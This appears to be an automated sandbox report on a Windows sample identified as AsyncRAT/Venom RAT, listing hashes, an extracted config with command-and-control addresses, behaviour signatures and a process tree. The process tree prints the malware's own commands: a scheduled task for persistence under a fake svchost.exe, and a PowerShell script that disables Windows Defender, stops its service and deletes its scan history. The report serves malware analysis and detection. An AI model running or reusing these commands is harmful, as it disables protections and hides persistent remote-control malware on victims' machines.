Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/04/2025, 18:52

General

  • Target

    ohiforgot.exe

  • Size

    74KB

  • MD5

    e061a0b37973b6466a192f1d18fd513b

  • SHA1

    f884c6c06ef6109aa737ac9b67c7c11b73294e4a

  • SHA256

    49e718675e880dc00de6fff1466604de8df962207861a54c83ff99a070512d31

  • SHA512

    90dde439124f2db089ce0d0b88da3319d083ff90b84a6f7309a9b19e77873b8ddc37a5621307dc4f910511cbcdc4a85c238024c39ca811c510e76d29086046ae

  • SSDEEP

    1536:2UaUcxoyR1CriPMV8H2sICH1bX/VskQzcaLVclN:2UDcxoyXkiPMV62IH1bXukQLBY

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:4449

127.0.0.1:8848

81.109.5.62:4449

81.109.5.62:8848

Mutex

fxgikqpbfkxg

Attributes
  • delay

    1

  • install

    true

  • install_file

    svchost.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 46 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ohiforgot.exe
    "C:\Users\Admin\AppData\Local\Temp\ohiforgot.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\AppData\Roaming\svchost.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5904
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\AppData\Roaming\svchost.exe"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3292
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5CA7.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:464
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:5912
      • C:\Users\Admin\AppData\Roaming\svchost.exe
        "C:\Users\Admin\AppData\Roaming\svchost.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc @ ( e c h o   o f f % ) [ 1 ]  
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  
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     $ W P . i n v o k e ( $ n u l l , @ ( $ v , $ p n . H a n d l e ) ) ;   $ S Z = $ H . " G e t ` M e t h o d " ( " S i z e O f " , [ t y p e [ ] ] ' t y p e ' ) ;   $ T 1 . f 1 = 1 3 1 0 7 2 ;   $ T 1 . f 2 = $ Z ;   $ T 1 . f 3 = $ v ;   $ T 2 . f 1 = 1  
     $ T 2 . f 2 = 1 ; $ T 2 . f 3 = 1 ; $ T 2 . f 4 = 1 ; $ T 2 . f 6 = $ T 1 ; $ T 3 . f 1 = $ S Z . i n v o k e ( $ n u l l , $ T [ 4 ] ) ; $ T 4 . f 1 = $ T 3 ; $ T 4 . f 2 = $ H G . i n v o k e ( $ n u l l , $ S Z . i n v o k e ( $ n u l l , $ T [ 2 ] ) )  
     $ H . " G e t ` M e t h o d " ( " S t r u c t u r e T o ` P t r " , [ t y p e [ ] ] ( $ D [ 2 ] , $ J , ' b o o l e a n ' ) ) . i n v o k e ( $ n u l l , @ ( ( $ T 2 - a s   $ D [ 2 ] ) , $ T 4 . f 2 , $ f a l s e ) ) ; $ w i n d o w = 0 x 0 E 0 8 0 6 0 0  
     $ 9 = $ T [ 0 ] . " G e t ` M e t h o d " ( ' C r e a t e P r o c e s s ' ) . I n v o k e ( $ n u l l , @ ( $ n u l l , $ c m d , 0 , 0 , 0 , $ w i n d o w , 0 , $ n u l l , ( $ T 4 - a s   $ D [ 4 ] ) , ( $ T 5 - a s   $ D [ 5 ] ) ) ) ;   b r e a k  
 }  
  
 $ w d p = ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '  
 '   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s ' , ' \ U X   C o n f i g u r a t i o n ' , ' \ M p E n g i n e ' , ' \ S p y n e t ' , ' \ R e a l - T i m e   P r o t e c t i o n '   | %   { n i   ( $ w d p + $ _ ) - e a   0 | o u t - n u l l }  
  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s \ S y s t e m '   E n a b l e S m a r t S c r e e n   0   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 n e t 1   s t o p   w i n d e f e n d  
 s c . e x e   c o n f i g   w i n d e f e n d   d e p e n d =   R p c S s - T O G G L E  
 k i l l   - N a m e   M p C m d R u n   - F o r c e   - e a   0  
 s t a r t   ( $ e n v : P r o g r a m F i l e s + ' \ W i n d o w s   D e f e n d e r \ M p C m d R u n . e x e ' )   - A r g   ' - D i s a b l e S e r v i c e '   - w i n   1  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ m p e n g i n e d b . d b ' )   - F o r c e   - e a   0                       # #   C o m m e n t e d   =   k e e p   s c a n   h i s t o r y  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ H i s t o r y \ S e r v i c e ' )   - R e c u r s e   - F o r c e   - e a   0  
 ' @   - F o r c e   - e a   0 ;   i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r )  
 # - _ - # 
          4⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1788
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" qc windefend
            5⤵
            • Launches sc.exe
            PID:5448
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
            5⤵
              PID:6076
            • C:\Windows\system32\whoami.exe
              "C:\Windows\system32\whoami.exe" /groups
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1940
            • C:\Windows\system32\net1.exe
              "C:\Windows\system32\net1.exe" start TrustedInstaller
              5⤵
                PID:4084
      • C:\Windows\servicing\TrustedInstaller.exe
        C:\Windows\servicing\TrustedInstaller.exe
        1⤵
          PID:3848
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4860
            • C:\Windows\system32\sc.exe
              "C:\Windows\system32\sc.exe" qc windefend
              3⤵
              • Launches sc.exe
              PID:4764
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
              3⤵
                PID:2136
              • C:\Windows\system32\whoami.exe
                "C:\Windows\system32\whoami.exe" /groups
                3⤵
                  PID:5964
                • C:\Windows\system32\net1.exe
                  "C:\Windows\system32\net1.exe" stop windefend
                  3⤵
                    PID:3500
                  • C:\Windows\system32\sc.exe
                    "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                    3⤵
                    • Launches sc.exe
                    PID:3208

              Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                3KB

                MD5

                556084f2c6d459c116a69d6fedcc4105

                SHA1

                633e89b9a1e77942d822d14de6708430a3944dbc

                SHA256

                88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

                SHA512

                0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                4797c279b92433a01e0dd47e183bcd44

                SHA1

                9c7a260e8fd55dc1a155431c0426b45d5dc3f500

                SHA256

                a5be08711cf21d3917717a78dd6feca94b9a8536575ec10d776eaae13d459d5a

                SHA512

                699b498a694aa8470ddb039f937e8efad6283432d9e2e97882c7d160e79068cd929f0a766e6e03d2b22a64e564d98ec13efc1ad98374c6ef99d033035536d7a4

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alivtahl.xzk.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\tmp5CA7.tmp.bat

                Filesize

                151B

                MD5

                3c5c34328dc2225c46a38618b34aa942

                SHA1

                d6df2065168d1b76d83e71586d0479c9ea5f2a2e

                SHA256

                8b737c3631bd18848f414b5c6a80b7a1857fee5c4ce8003cd8dafd98bcf4500a

                SHA512

                e4edd556f1ed7c5e4aa5a47aa4b26b48bd9903c299bd7a0e46b1b0811c2dce4d8bb389e40f780050b2fce09ba4918e3f896ffa277e3ef06af138850e927d9bdc

              • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

                Filesize

                8B

                MD5

                cf759e4c5f14fe3eec41b87ed756cea8

                SHA1

                c27c796bb3c2fac929359563676f4ba1ffada1f5

                SHA256

                c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

                SHA512

                c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

              • C:\Users\Admin\AppData\Roaming\svchost.exe

                Filesize

                74KB

                MD5

                e061a0b37973b6466a192f1d18fd513b

                SHA1

                f884c6c06ef6109aa737ac9b67c7c11b73294e4a

                SHA256

                49e718675e880dc00de6fff1466604de8df962207861a54c83ff99a070512d31

                SHA512

                90dde439124f2db089ce0d0b88da3319d083ff90b84a6f7309a9b19e77873b8ddc37a5621307dc4f910511cbcdc4a85c238024c39ca811c510e76d29086046ae

              • memory/1788-33-0x00000271415C0000-0x00000271417DC000-memory.dmp

                Filesize

                2.1MB

              • memory/3668-1-0x0000000000940000-0x0000000000958000-memory.dmp

                Filesize

                96KB

              • memory/3668-3-0x00007FFFB0DD0000-0x00007FFFB1891000-memory.dmp

                Filesize

                10.8MB

              • memory/3668-8-0x00007FFFB0DD0000-0x00007FFFB1891000-memory.dmp

                Filesize

                10.8MB

              • memory/3668-0-0x00007FFFB0DD3000-0x00007FFFB0DD5000-memory.dmp

                Filesize

                8KB

              • memory/4860-46-0x000001CC30960000-0x000001CC30B7C000-memory.dmp

                Filesize

                2.1MB

              • memory/5552-17-0x000000001AF90000-0x000000001AF9E000-memory.dmp

                Filesize

                56KB

              • memory/5552-21-0x000000001AFB0000-0x000000001AFBE000-memory.dmp

                Filesize

                56KB

              • memory/5552-20-0x000000001D780000-0x000000001D7A2000-memory.dmp

                Filesize

                136KB

              • memory/5552-19-0x000000001D840000-0x000000001D8D0000-memory.dmp

                Filesize

                576KB

              • memory/5552-18-0x000000001AFC0000-0x000000001AFDE000-memory.dmp

                Filesize

                120KB

              • memory/5552-16-0x000000001D7C0000-0x000000001D836000-memory.dmp

                Filesize

                472KB